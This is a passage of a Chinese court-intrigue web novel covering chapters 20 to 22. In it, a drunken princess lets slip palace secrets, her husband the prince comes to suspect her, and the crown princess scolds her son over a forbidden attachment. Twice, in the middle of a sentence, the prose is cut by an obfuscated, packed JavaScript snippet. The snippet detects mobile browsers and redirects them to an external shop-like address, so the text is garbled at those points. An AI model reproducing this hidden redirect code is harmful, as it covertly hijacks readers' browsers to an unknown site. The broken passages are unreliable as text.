也就是说,阿柒的身份…… “哦,对啊,是这样的。随心,你真聪明,我真喜欢和你聊天。”顾瑶深深叹了一口气,眼皮愈发松弛,“但这不好啊,真是不好,霍因为什么要派人去云国?许是我那小叔忍了十二年,终于忍不住了……” “小叔?”一听到“十二年”这三个字,陆随心耳边炸鸣、血灌颅顶,她知道此刻不问,便可能此生都再没有机会弄明白那件事。 “小叔嘛,就是我父皇的小堂弟顾衡之,不不不,要尊称一声长庆王。”顾瑶轻合上了眼,嘴里的话已经毫无章法。 陆随心试探性地问,“阿瑶,你知不知道十二年前,长庆王登基之前,发生过什么事?” 柳家大火后没多久,陆随心就在逃亡的路上听到了王位换人的消息,但很奇怪,那时距离明祖去世已经快两个月了,这期间云国的皇位又是谁在坐着? “十二年前啊,啊,那一年,就是我父皇去世那年嘛,他呀,在位多年,妃嫔无数,愣是一个儿子都没生出来,你说好笑不好笑?”顾瑶借着酒意咧了嘴,半张脸却紧紧埋在了自己的手掌里,一只眼捂得严严实实,看不清是不是真的在笑,“林志崔就只好把我一个族兄喊来继位,就是那个……陆哀王顾德桢嘛……” 别说陆随心了,估计整个云国上下,都没多少人听说过这段往事,她心中犹豫不决,毕竟再问下去听下去,也许就真的脱不了身了,可也不知是不是酒意作祟,脑子这么转着,话却已经脱口而出,“也就是说……那位陆哀王当年做了一个多月的大王,就又换人,改为了如今那位长庆王?” “啊,是啊。对啊,这事儿你不知道吗?” “不知道。” “随心啊,我这脑袋好像越来越晕了……” “阿瑶,你再回答我两个问题好不好?就两个,然后你好好睡上一觉。” “嗯?什么?你说。” “陆哀王为什么会被换下去?” “他啊……没看懂这庙堂之上的事儿。真以为有了大王的头衔,就可以为所欲为了。你说好笑不好笑?……到头来,顾家的王位谁来坐,竟是一个姓林的说了算。”顾瑶随手一挥,但手上的力道大了些,连带着把她自己挥到了一片狼藉的桌面上,脸覆住了那水渍画成的霍家徽纹,眼神涣散。 顾瑶的话并没有彻底解决陆随心的疑问,可她隐隐觉得天底下不会有那么巧的事。 前脚柳家的人被杀了个精光,后脚这皇位就换了人。 她总觉得自己应该明白其中的联系,可不知是不是酒意的侵扰,在那纷乱的思绪里,陆随心终是一无所得,她问出了最后一个问题,“那你知不知道永京柳石岸一家被杀的事?” “嗯?……你说谁?” 是啊,十二年前顾瑶也不过和自己一般年纪,她又能知道什么? 陆随心自嘲地敲了敲自己的脑袋,看向桌上的人,轻声道,“阿瑶,我扶你去榻上睡一会儿吧。” 顾瑶已经听不见了,她也不知在看哪儿,汹涌的酒意解开了那些枷锁,让她说出了从不敢真正讲出口的话,“你说好笑不好笑?为什么我明明是父皇的孩子,却只能被当物件似的送到这陌生地方来,就因为,就因为……”话行至此忽的戛然而止,像身上沾了什么又湿又脏的东西,挥手甩开,“快,它又来了。又来了。” 陆随心本被她也说得一股委屈的酸意在喉咙里上下滚动,想绕到身后搀她起来,见她突然被魇住了一般,急忙握住她的手,“阿瑶,怎么了?你看见什么了?” 顾瑶一下子怔住,好似惹她恐惧的东西消失不见,头又委顿了下去,喃喃,“没了,它没了。已经被吞了。那地方,是能啖肉吞骨的。咕咚一声,就没了。” 这话说得模糊,陆随心自是听不懂,可那入如梦魇的哀悲伤情仍是狠狠绊住了她手脚,顺着眼前人的话,“没了?” “是啊,没了。”顾瑶的声音越来越低,口齿逐渐不清,“我母妃说了,她说呀,她总说,人都有自己的命,也都有自己的位置,那这,便是我们的命吧……” 陆随心腹中酒意滚热,闻言激起几分不屑,“呸!什么命不命的,这就是丧气话!是借口罢了!” 顾瑶不知有没有听到这义愤填膺的怒骂,隐约间似乎有半声笑隐没了。 陆随心双手从她胳膊肘下面伸过去,“来,我带你去旁边躺一会儿。” 可顾瑶已然昏睡过去,陆随心试着将她从桌子上抱起来,却发现这事并不亚于当初“处理”莫子翊时的难度,要搬动一个毫无知觉的活人,凭如今伤了右手的她,根本没有可能。 “桑凌……”陆随心想着叫一叫许久未归的桑凌,两个人好一起搭把手,结果一抬头就看到门被推开,一个不认识的白净公子哥走了进来。要她说,这个公子哥看起来肩不能担手不能提,放他们民安村那是绝对逃不过一些指指点点的。 可即便如此,他的眼神却叫陆随心觉得害怕。 和阿柒的不同,阿柒的眼纯净,又暗含杀气,而他的,明明懒散,却又莫名间有高人一等的威仪。 陆随心自然猜到了他的身份,那就是此间的主人,“静王爷。” “你把她放开。” 看到快步走来的人,陆随心下意识就将自己的手收了回来,但嘴里还是忍不住解释,“王爷你误会了,我只是想扶王妃到榻上休息。” “不用,你下去吧。” “公主!我拿来了!桑凌可是一通好找……王爷!”两手各提了一壶酒的桑凌卡着嗓子,在门口匆匆跪下请安。 莫楚瑛不耐烦地挥手,“你们都下去吧。” 陆随心低头算是应了,就要往外走,没想到桑凌把酒放到一旁,“王爷,还是让奴婢来服侍王妃吧。” 莫楚瑛皱了皱眉,陆随心立刻跑过去把那傻姑娘从地上拉起来,“桑凌,我不认识回房间的路,劳烦你带我过去吧。” “可是……” 陆随心把她支支吾吾的手按了下去,“那王爷,我们就告退了。” 桑凌被她一路拖出了房门老远,才寻着空档挣脱出来,满脸的不高兴,“随心小姐,你怎么把我拉出来了呀?” 陆随心见她一点藏不住心思的样子,笑了,“你没见你们王爷那么紧张阿瑶吗?人家夫妻俩的事情,你非上去凑热闹干啥?” “那公主都喝成那样了,王爷……王爷哪会照顾人呢?” “照葫芦画瓢总会吧,重点是人家这个态度。他今天早些时候不是惹了你家公主生气吗?现在就是他低头认错的好时机……”陆随心说着,突然想到什么,便住了嘴。 “怎么了?随心小姐。” “啊,我就是怕你家公主明早醒来,什么都不记得了。” “那……那可怎么办?” “怎么办就是人家静王的事了,大不了等明天酒醒了再认一遍错呗……”若真是这样,那她今日同阿瑶说的话、道的别,便也不能作数了。陆随心说着,倏地分外惋惜地叹道,“啧。” “又怎么了?随心小姐。” “哦……就是你新拿来的两壶酒,忘记一起带出来了,不然我还能回房再喝两杯。”陆随心随口一说,又咂摸了一下回忆里的味道,真心赞叹,“你们王府的酒,可真是不错。” 桑凌忙道,“随心小姐若还想喝,桑凌可以再去替你拿两壶。” 陆随心一听她当真了,愈发觉得她可爱,“多谢桑凌姑娘,不过我还是早些回去休息,告辞了。” “诶,随心小姐,你方才不是说不认识路吗?” “啊,我这会儿酒醒了,又记起来了。”陆随心朝她笑了笑,转身就往记忆里的方向走去。 当她走进王府的夜色,才算真正远离了酒桌上的酣热,此刻她脑海里千头万绪,可她知道,酒意会 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要莫楚瑛凭一己之力把他不省人事的王妃从那椅子上搬到十步之远的床榻上,不是不行,但毕竟是让不得要领的他折腾去了小半条命。 一开始,他把顾瑶扶起来搂在了怀中,还曾尝试抚着她的脸,温柔地想叫醒她,好要她稍微出点力配合一下自己,“阿瑶,我的好阿瑶,你稍微醒一醒,好不好?我们去榻上再睡。” “嗯……”顾瑶整个人软绵绵地融化在他身上,头挂在他脖子那儿,呼吸轻轻地喷上那里的皮肤,惹得他一阵比一阵痒,一阵比一阵酥。 “阿瑶,你还听得见我说话吗?”莫楚瑛看她满面潮红,身下不禁一热,忙收敛心神又问了一声。 “嗯……困……”顾瑶闭着眼,意识不清地往他怀里拱去,一双腿毫无力道,全靠腰间莫楚瑛的手臂环住才没滑落下去。 即使是床笫之间的欢愉时刻,莫楚瑛也几乎没见过顾瑶这样,毫无戒备把自己全敞开了地放纵。 他觉得新奇,也觉得心疼,甚至说不清自己到底是希望她醒了好,还是就这么醉下去的好。 醒了,他才好同她说说话,向她解释清楚自己白天的失言是因为什么,请求她原谅自己一时的失态,告诉她自己只是怕失去她。 可醉着,只有醉着的时候,她才会变成一个忘却所有身份与桎梏,能哭能笑的普通人。 “嗯……你……是谁呀?” 怀里的重量忽然一轻,莫楚瑛就见顾瑶睁开了朦胧的眼,两只手就这么摸上了他的脸,指腹轻轻滑过他的鼻子,疑惑地笑着,“你的鼻子……好像很直啊……” “那阿瑶看看,我到底是谁?”莫楚瑛觉得自家妻子这个样子实在少见,禁不住随口逗逗她。一边把手松开,想扶着她往床榻走。 可他到底是做错了。 若不问,可能她也不会回答。若不问,可能他就永远不会知道。 “你……是……莫子翊吗?”顾瑶说着,身子就摇摇晃晃地往后栽去。 莫楚瑛全身发凉,可手还是先一步伸过去重新将她抱住,稳住了她的步子,可嘴里却一句话也说不出来了。 他想到不过几个时辰前,她言之凿凿地向自己发誓,太子妃所言纯属无稽之谈,她与皇长孙之间绝无它事。 可她却在酒后将自己错认成了莫子翊。 这又是为什么? 这能是为什么? 莫楚瑛看着怀里的妻子,一时间竟认不出她到底是谁,他是否真正认识过她? 醉酒的顾瑶根本不知眼前发生了什么,只是像失了记忆的小孩一般笑了起来,“哦,不对……你不是莫子翊,你是……莫楚瑛!他们说……要娶我的人……就是……你……对不对?从此以后,我呀,就是定国的王妃咯……可我母妃说呀,无论在哪儿……我都要记得,自己是要保云国平安的安平公主……你说是不是?王爷。” 莫楚瑛说不出话,哪怕只是哄一哄不知自己在说什么的顾瑶也做不到。 他跨步站好,一弯腰,就顶着顾瑶的腰腹把她整个人抗在了肩上,走到床榻边将她轻手轻脚放了下去,脱鞋、把人拨正、盖被、平心静气。 粘了床的顾瑶翻了个身,很快呼吸变得均匀。 她睡过去了。 莫楚瑛看着她恬静的侧脸,好一会儿才走回桌边,在那儿望着烛火,坐了良久。 他此前的人生计划里并没有想到遇到如此变数,该怎么办。 一个相敬如宾的妻子不爱自己,他无所谓。 可是如果不爱自己的是顾瑶,他如何是好? 他瞥到桌上一样东西,一下子更是晦暗不明了。 那是一枚玉佩,上面只刻了一个字。 翊。 21. 第 21 章 霍淇云只在一种情况下亲身驾临膳房,那就是为她儿子莫子翊“洗手作羹汤”时。 她统共也就会做一样东西,八珍糕。 这还是因为莫子翊三岁那年挑食成疾,唯有见到八珍糕时愿多吃上一块,霍淇云才亲自学的。 传出去,却成了一段母慈子孝的佳话——皇长孙莫子翊只爱吃母妃亲手做的点心。 “太子妃,小心烫着您,还是让奴才来起锅吧。” “不必。我自个来。”霍淇云有点颤巍巍地把蒸屉取下来,那热气熏得她眼疼脑热,她便把手停了,示意旁边人,“装盘吧。” 那公公立刻上前,接过了她手里的活。 “岁数大了,不比以前了。”霍淇云捶了捶自己的腰,又问,“皇长孙在屋里歇着呢?” “禀太子妃,歇着呢。” “太子呢?” “在书房,画画呢。” “你取几块出来,另外装个盘,给太子送去吧。” “是。” “行了,就这样吧,自家人吃不必摆那么精致,给我吧。”霍淇云从他手里接过托盘,就晃着身子走了出去。 还没走到儿子房门口,就听到里头骂声一片。 “我那画呢?哪个趁我不在,竟敢动我东西!” “回皇长孙,奴婢不知。奴婢从未动过。” 霍淇云立到门口,“你身子没好全呢,动什么气啊。”又向跪在地上的丫头使了个颜色,那丫头赶紧磕了个头,忙不迭跑出去了。 “母妃。”莫子翊一见来人,就收敛起来,站到一旁,低头请安。 他身形颀长,面色虽还虚弱,可到底年轻气盛,纵使大伤初愈,眉眼间的倨傲神气一分不减。 霍淇云将盘子摆到桌上,拉着他的手让他坐到对面,“来,尝尝我给你亲手做的八珍糕。” “儿子不饿。”莫子翊从善如流地坐下,却对面前的点心一眼也不愿多看。 “我一大早就进了那厨房,又是洗又是和面,就为了做一点你爱吃的……” 不等话落,莫子翊就伸手抓了两块,塞进嘴里,嚼也没嚼便吞了下去。 “你慢点吃。”霍淇云终于露出满意的笑,抬手替他倒了杯茶,把话题拉回了正途,“你跟我说说,这么多天,到底是去哪儿了?干了些什么?怎么把身子搞成这样?还偏不许传太医来看。” “儿子已经没事了。就是私下出去玩了一趟,不小心受了点小伤罢了。”莫子翊拿起茶杯一饮而尽。 “你从小就在军营里摸爬滚打,射箭舞枪样样在行,连你外公都夸你是武场上百年难遇的奇才,你倒是说说,就你这样,到底是怎么受的伤?” 莫子翊专注地把玩着手里的空茶杯,对自己母亲的话有一搭没一搭地听着,随口胡诌,“我脚滑,不小心跌山崖下去了。” 霍淇云显然不信,“儿啊,你不懂人心险恶。你知不知道,你这次出去,错过了什么?你有没有想过,这是有人故意要你受伤?” “没那么严重,母妃。不过是误了皇爷爷的寿辰,我一会儿就去向他请罪。” “你呀。”霍淇云重重叹了口气,拧着眉,“你自出生起就是你皇爷爷寿辰钦定的’斟酒人’,从没落下过一次,在这节骨眼你没能赶上,你真没想过其中的蹊跷?” “斟酒而已,错过一次也无妨。皇爷爷不老说让我多出去看看嘛。” “可就是这一次,那个静王趁你不在,给你皇爷爷送了些什么劳什子的破玩意儿,逗得他老人家那叫一个开心,给静王叫到跟前回赏了好多礼。这里头的门道,你感觉不出来吗?”霍淇云连连轻拍桌子,一副恨不得能摁着眼前人大骂着叫他清醒的样子。 莫子翊不为所动,还是油盐不进虚情假意地听着,“静王是皇爷爷的儿子,送个礼不是很正常。” “你是真不懂还是装不懂?”霍淇云猛然起身,在桌边来来回回踱步,思虑了片刻又坐回来,弯身向前,压低了声音,向儿子挑明,“你皇爷爷已经连着几年想动你外公的军队了,年年说着要削军饷惠民生,说了那么久,没想到今年真的给减了一成,这时候那不成器的静王突然跳出来了,什么意思,你不明白?” “母妃此言差矣。那是定国的军队,可不是什么霍大将军的军队。” 听到亲儿子这般气性,倒是对推心置腹的自己找起茬来,顿时也没了耐心,把身子坐得板正,满脸的慈容转为乌黑,“我看你呀,是鬼迷了心窍!如今在这,竟是连里外人都分不清了。” 莫子翊晃了晃脑袋,像是要把听到的话给晃出去,他拿起另一个杯子,倒了一杯茶,递给眼前人,“母妃,喝口茶,顺顺气。” 霍淇云却似乎对儿子的假意服软不甚满意,“我实话和你说了吧,你那幅画,是我拿走的。” 听到这话,莫子翊才做出了第一个表情,那两道刀一样的眉毛紧紧结到了一处,冷下来,“您翻我东西作甚?画呢?” “烧了。”霍淇云半转过脸去,脸色依旧青紫,“还留着等东窗事发,叫所有人看笑话啊?” 莫子翊“歘”一下站了起来,像是和自己母妃玩起了比谁脸更黑的游戏。 “怎么?你总不会还觉得自己有理吧?”霍淇云抬头睨了自己儿子一眼,见他没顶撞,也缓和了两分,“你呀,这全天下那么多好女子,你怎么偏偏就……赶紧把那歪心思收了。赶明儿,我就叫他们把那做好的花名册拿来,你也差不多到年纪了,好好选个出身清白的……” “不必了。” “你……”霍淇云听到儿子冷漠的忤逆之语,两眼一瞪,“那你想怎么样?啊?是要把人家抢过来?从名分上来讲,人家可是你婶婶!退一万步讲,就算是人家还没嫁,那也是不可能的,别说我了,你外公、你父亲、你皇爷爷,你好好想一想,哪个能同意你娶一个云国女子?你可是未来的……” “云国女子有什么不好?”莫子翊依旧没坐下,就那么站着,看着自己母亲的头顶,略带嘲讽地问。 “有什么不好?不安好心呗。”霍淇云脸色愈加难看,“我听说这阵子,顾瑶也没在王府里待着,你又莫名其妙受了伤,万一就是她设的局呢?呵,她可真是打的一手好算盘。” “母妃,无凭无据的事,您还是休要胡乱猜测。” “我胡乱猜测?”霍淇云一双眼倏地放大,似乎对儿子帮腔他人的话难以置信,她把头低垂下去,话里染上了几分哀色,“你那父亲,日日夜夜躲在屋里头画画写字,对窗外的事是两耳不闻一概不知。你知道朝里那些大臣弹劾了多少次,说你父亲有德无才,要你皇爷爷改立太子吗?若不是你外公拦着,这太子之位早被静王抢去了!要是那样,这宫里哪还有你我母子待的地方?” “这不是还有儿子在吗。”莫子翊听到她话里略略带的哭腔,心中叹了一口气,还是又坐下,拍了拍她放在桌上的手以示宽慰,“母妃莫动气,动气对身子不好。” 霍淇云顺势按住儿子的手,“你要我不动气,好,那你实话告诉我,你这次出去,到底是去哪儿了,又是怎么伤的?” “说也行,但母妃需答应我,绝不可小题大做,也不可对外声张。”看到霍淇云点头,莫子翊才漏了底,“儿子……去了一趟云国。” “你去云国了?你怎么去的?那边境关卡可没任何你的消息……” “儿子知道一条小路,偷偷过去的。母妃可是答应我,绝不声张的。” “那是……是云国人伤的你?!” 莫子翊转过身去,不愿面对霍淇云探究的目光,想喝口茶掩饰,拿起来才发现杯子是空的,憋了半天,憋出一句,“那人是个高手。我不小心撞见了他的小秘密,我们就……打起来了。” “好一个云虫!竟敢伤了定国的皇长孙!我定要……” “他并不知道我的身份,而且母妃放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836128|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,他的下场可比我惨得多。”莫子翊敲着杯子,语速加快,有些心虚,“儿子当场反击,把他杀了。” 这结局倒真是让霍淇云气顺了不少,“你去云国干嘛?” “儿子就是去……探探局势。他们的司政前阵子去世了。” “这种消息,用得着你这么拿命去亲自打听?你外公各处都插着眼线呢!”霍淇云嘴上假骂着,又似乎为他对国事付出的关心而欣慰,便顺着多说了几句,“那姓林的不仅死了,还被他们长庆王给抄了家呢。说是搜出来一大堆金银财宝,可把那顾衡之乐开了花。” “还是母妃消息灵通。” “你们父子俩,一个忙画画,一个爱骑马,我若不再看着点,迟早出大事。”霍淇云突然想到什么,“我问你,那条去云国的小道,是谁指给你的?” “街上瞎打听的。” “你不肯说实话没关系。反正,你自己好好想想,这人给你指路,安的是什么心。”鉴于方才指名道姓惹怒了自家亲儿,霍淇云也就往回收了点气势,“这不像安好心的人啊,能不接触就别接触。” 莫子翊不应承,也不反对,默默地看着桌子不说话。 “行了,我也不多说了,你好好休息吧,八珍糕记得吃啊。” 眼见她要走,莫子翊心中一急,“等等,母妃。” “怎么了?”她回过身问。 “儿子那画……您是真的给烧了?” “烧了!一片灰都没留下。”霍淇云听到他问起,气又浮上来了,“不仅烧了,我还去人府上走了一趟。” 刚刚和顺了没一会儿的气氛瞬时又剑拔弩张起来,莫子翊再次皱起了眉,站起来,语气又冲又急,“你去静王府了?去干嘛了?” “能去干嘛?当然是叫静王好好管教他的妻子。” 莫子翊拳头紧紧握了起来,手背上的筋线像画笔刚留下似的,清晰得骇人。 “怎么?你还想揍你母妃不成?”霍淇云见他怒火烧到了脸上,反又试探性地往回走了两步。 “儿子不敢。”莫子翊将手松开,齐刷刷的指甲印已刻进了掌心的肉里。 “我做什么事,自然都是为了你好。你年纪尚轻,一不小心着了人家的道,也情有可原。可我总不能在旁眼睁睁看着她妖言魅惑,就这么把你带去了不归路吧。” 莫子翊低着头,紧紧盯着桌上那盆八珍糕,一言不发。 见他不语,霍淇云不顾南北地添油加醋起来,“你说你是去云国才受的伤,我这次去静王府,就发现她是匆匆从外头回来的,府上还有个行事奇怪的云国女子,说不准就和你这事有什么关系。” “云国女子?”莫子翊眼神一闪。 “是啊。”霍淇云一听儿子有兴趣,眉眼舞动,鼻子翕着,嘴皮越翻越快,“她那长相,我一看就知道是云国的,他们那儿的女人,眼窝子浅,嘴皮子也薄。还冒冒失失的,毫无礼数!撞了人不说,那衣服上血迹斑斑,真是触霉头,哦,还有她眉毛那块,有一小块红斑,都说这种人,不吉得很……” “红斑?眉毛那儿?” 霍淇云被他突如其来的大声吓了一跳,“怎么了,你认识?” “不,不认识。”莫子翊掩饰般摇了摇头,缓身坐回,抚着脑袋,“母妃今日的教诲,儿子都牢记于心。母妃……儿子有些累,想歇一会了。” 欲言又止的霍淇云看着儿子疲倦的脸色,终是决定离开,“好,我走了,你歇着吧。” 待那脚步声远远没了响,一直把头搭在手上的莫子翊才忽而睁开了眼,黑黢黢的眸在指缝间凝成一汪比夜还深的渊,一股子炸开的戾气从那底处慢慢燃了起来,烧到了他的脸上、手上。 他猛一挥臂。 “啪——” 一声剧烈的脆响炸开。 黏腻的八珍糕被迫投向了它们的宿命,和碎裂的盘子混作一块,在地上酿成一堆残渣。 22. 第 22 章 陆随心不得不承认,王府的日子确实好过。 不温不热的季节,搬个躺椅在庭院里小憩,微风拂面,吃喝俱全,还不用干活劳作,除了男女主人之间那微妙的气氛,一切都称得上“惬意”。 说起那晚,陆随心本以为那位静王爷是去哄阿瑶的,结果到了第二日,竟索性成了陌路人,一个关在房里不出门,一个到处逗鸟赏花闲逛,夫妻间愣是互相不言语,搞得整座王府上下都跟着乌云密布。 陆随心哪知是自己把玉佩留在桌上惹的祸,缓了一天才敢去找顾瑶,想聊聊回家的事。 当时顾瑶正在桌前写信,见到她来,便把那信遮上了,“随心,现在还不行,虽说莫子翊已平安回来,事情也没有闹大的迹象,但那条小道可能已经被查封……” 不用顾瑶说完,陆随心就已了然。 这会儿站在她面前的可是酒醒了的安平公主,无论她是单纯小心为上还是出于其他意图,按兵不动静观其变才是上策,若大动干戈把自己送回去,才显得儿戏了。 即便理解,陆随心还是忍不住有些想念那个喝红了脸后要自己留下来作陪的阿瑶。 “你先留在府里好好休养一阵,一旦有机会,我定会送你回去。” “……嗯。”陆随心相信她此话不假,可还是为自己被“软禁”的事实唏嘘。 大概是看她脸色不好,顾瑶又说了些交心的话以证明自己绝无他意,“随心,你放心,我自己已有家不能回,绝不会让你也那样的。” 她这么一说,陆随心就知道,那夜酒后的对话,她都记得。 可她们谁都没有再提起一句,那些“大逆不道”的叱骂、“疯言疯语”的恸哭,全都在模糊的记忆里被尘封了,留下的,是一点她们彼此确信又不敢明说的惺惺相惜。 陆随心点了点头,就此开始了她在王府“游手好闲”的日子。 其实她在民安村的生活也挺舒服,头几年是真的难,李芸娘为了让陆少疾过点不风吹雨淋的日子,嫁给了村里一个孤寡老头,老头死得早,房子和一亩三分田就留下来给了他们。 可她们谁也不是耕地的料,只能把田低价卖了,全靠李芸娘给人洗衣服为生。本来一开始她是想重操旧业的,那时候陆随心已经快及笄的岁数了,看出她的心思后百般禁止,甚至逼她做选择,要么换个活计,要么带自己一起。 李芸娘当时红着眼,差点哭了。 她说自己再浑,也不至于带着柳家大小姐一起卖身子。 洗衣服钱来得慢,一家三口饥一顿饱一顿的,后来陆随心发现村里人都不识字,就摆了个摊,什么都写,家书、祭文、春联、祈福贴…… 日子就这么过下去了。 直到四年前,不知哪儿来了个财神爷,隔几个月就往她家庭院里丢钱进来,都是一锭一锭的整银子。 李芸娘满心以为是前一年给福圣王的守香灵验了,从此更是虔诚。 反正那时候开始,他们三个人的日子就好了起来,李芸娘也不愁陆少疾以后讨不到媳妇了,还想张罗着给陆随心也找门好亲事。 以前没钱的时候她从来不提,她说如果没嫁妆,嫁给谁都只有受气的份。 天天沉迷话本小说的陆随心对此根本没有兴趣,她对李芸娘说,“只要我不成亲,想干嘛干嘛,成了亲,还能有这等好日子?” 李芸娘到底不是她亲娘,不敢骂不敢说,只能任她去。 陆随心就这么在静王府的院子里,吹着小风,在和煦的光里想着民安村的过往岁月。 越想,心里就越纠得紧。 但凡早几个月有人告诉她,她有一天会思念那个小破地方,思念李芸娘和陆少疾,思念到心慌眼热,陆随心一定会扯着脸讥笑,骂人家狗屁不通。 “唉。”她叹了声气,为了断绝那逐渐沉下去的思绪,利索地从躺椅里坐了起来,恰好看到桑凌风风火火地从旁边走过,立马喊住她,“诶,小桑凌,你去哪儿?” 桑凌跑得脸蛋红扑扑,“我去找公主!有个好消息要告诉她。” 陆随心闲得无聊,自然不愿那么轻易放过眼前的乐趣,“什么好消息呀?能与我说说吗?” 桑凌被突然把脸伸到自己眼前的陆随心吓了一跳,退了两步,连连摆手,“哎呀,随心小姐,不能说的。” “透露一点点都不能呀?我在这院子里都快无聊得晒成人干了。” “随心小姐恕罪,我……我……真的不能说。” 陆随心见她眉心都快卷成花了,便笑着不再逗她,“那你快去,让你家公主好好高兴高兴。” “随心小姐,这把娟扇给你罢,可以遮一遮太阳,就……不会晒成干了。”桑凌为将手里的东西递过去,转身就要走。 “诶,等等。”陆随心拿过娟扇,倒是有些哭笑不得,眼里什么东西闪过,便弯腰从桑凌刚刚站过的地方捡起一串珠花,“新买的头饰?掉地上了。” 桑凌脸像被刷上了绯红的染料,忙不迭从陆随心手里拿过自己的东西,“啊……是,是我今日在街上新买的。” 陆随心暗暗笑,但并没有戳穿她蹩脚的谎言,只是顺势夸了起来,“小桑凌真是有眼光,这珠花造型独特,好看得很。” “随心小姐你也觉得好看?”桑凌嘴角喜不自胜地翘了起来,一边把珠花往头上戴回去,但看不清头发后面,总是不得法门。 “我来。”陆随心把珠花接过,绕到桑凌身后,替她别到了头发上,又好好整理了,意有所指地笑,“小桑凌,这不会是……你的意中人送的吧?” 幸好陆随心已经把珠花佩戴妥当,否则桑凌那突如其来的拔头转身,非把她自己的头发薅下来一半不可。 脸更红了,“随……随心小姐,你在说什么呀。” “我随口问问,你紧张什么呀。是就是,不是就不是,又不是什么见不得人的事。” 桑凌闻言,那脸竟是有些垮了,整个声调都沉了下去,“桑凌只是个婢女,哪有什么谈论意中人的资格。” “意中人意中人,那说的就是自己心里头偷偷相中之人,你脑袋里的事谁能管得着?当然谁都可以谈论咯。” 听到这番言论,桑凌的嘴又翘了起来,“那……随心小姐,你的意中人……” 大概是突然想到了那一场偷偷送礼不欢而散的结局,桑凌后知后觉地住了嘴。 可阿柒的脸已经不可遏制地跳进了陆随心的脑海里。 她拼命摇头,决不允许自己把一个掐她脖颈的冷血杀手和意中人三个字联系起来,打着哈哈掩饰道,“唉,我的意中人嘛,那可多了。每看一册游侠话本,就会至少多出一个意中人。” 桑菱憋着嘴,很是认真地摇了摇头,“那些都是不作数的。” 陆随心被她突然的“真知灼见”震了一下,竟对自己的敷衍感到愧疚,收了玩笑的心思,“唉,这作数的嘛……已经没有了。” 话一出口,自己就先惊了。 “已经没有了”是什么意思?就说明曾经是有的! 那岂不是说她真的把阿柒当做意中人过? 可悲! 太可悲! 都怪她那些话本小说看太多了,天天幻想着衣带当风、面如冠玉的俊俏侠客,侠客没见着,遇见个长得好看的就收不住心思了。 她没有想到,明明是在“调戏”桑凌,到头来倒是自己的心事被赤裸裸摊开了。 还是自己也头一遭明确的心事。 桑凌听她坦言,心潮上涌,又忍不住频频看向另一边,“我……随心小姐,我得先去公主那儿一趟。等我回来,等我回来再与你细聊。” 陆随心拍了拍桑凌的肩,示意她尽管去。 桑凌小步子跑了开去,没一会就又跑了回来,脸上的一片红霞还没褪去,“我……其实我现在有一个作数的。” 不等听的人有任何反应,就摸着那串珠花,往顾瑶的房间去了。 留下陆随心把那娟扇罩在了脸上,感叹头顶已经西斜的日光竟还如此灼人,不然这二八年华的姑娘怎么浑身发烫呢。 脖颈处突然一阵刺痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844792|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像被什么盯上了,她迅速回头,只看到茂盛的草木群花,葱葱郁郁,静谧如画,盯了好一阵,半点动静也无,才又躺回去,喟叹一声,闭上了眼。 而欢天地喜踩着步子到了顾瑶房门前的二八姑娘桑凌满心沉浸在“意中人”的悸动中,一时竟忘了这几日盘桓在王府里的诡异气氛。 那一夜她与随心小姐分别后,静心等在了屋外,也就是半个时辰的样子,王爷就顶着一张格外晦暗的脸出来喊人了。 她低着头,不敢看王爷,一进去看到主子睡得毫无知觉的样子,就知道这俩人之间的事情没能解决。 只是她没有想到,事情就这么拖了下来,变成了谁也不理谁的持久战。 王府那么大,一个住东边,一个住西边,吃饭喝茶都不在一块,根本连面都见不上。 公主本来话就不多,现在除了和随心小姐一起时会说上几句,便成天闷在房里。 桑凌为此特意私下找了富林,一问,王爷那边也差不离,天天板着个脸,饭也吃得少了,说是又瘦了不少。 这场景,桑凌陪嫁过来四年,就碰到过一次。 那时候是怎么和好的?桑凌想不起来了。 她和富林商议来商议去,也没想出什么好法子,只能所有人陪着一起熬。 万幸的是今天,桑凌终于迎来了转机,她很久没有以这样雀跃的语气去喊,“公主,桑凌回来啦。” 因为太过雀跃,得意忘形之下的她忘记了在门口请示,就冲了进去。 她看到公主坐在自己的床边,慌乱中将手中的东西塞进了被子底下。 桑凌撞见了主子的秘密,想也没想,立刻跪了下去,“奴婢该死,奴婢……” “起来吧,桑凌。” “奴婢……” “连你也要与我这样吗。” “公主……”桑凌听出那话里真切的悲意,连忙起身,走到床边蹲下了身,仰头看着她,“公主,桑凌得了个好消息,急得想说给你听,才不小心忘了……” 顾瑶打断了她的自责,“宫里来的?” “是。”桑凌点了点头,笑容从嘴角泛起,“说是永宁帝有意册封静王为出云使……” “什么?出云使?”若不是房里太安静,顾瑶定要怀疑是不是自己的耳朵出了问题,“你确定没有听错?是我们王爷?” “嗯,千真万确,就是静王。”桑凌忙不迭又点了点头,“不出三日,圣旨就该来了。” “若真是如此……” “公主!若真是如此,那我们就可以回家啦!” 顾瑶看着笑意都快到耳朵后边去了的桑凌,却不敢同她一样高兴。 出云使,自然就是出访云国的使者。 云国每年定时给定国上贡,定国则每三到五年一次回访云国,赐予回礼。 这个官,说大不大,说小不小,称不上闲职,但也确实不紧不要,可就是在这个当口赐下来,就尤显得意味深长。 莫楚瑛成年四载有余,除了亲王的名号,朝里从未给过他一官半职,他不想要,永宁帝也没想着给。 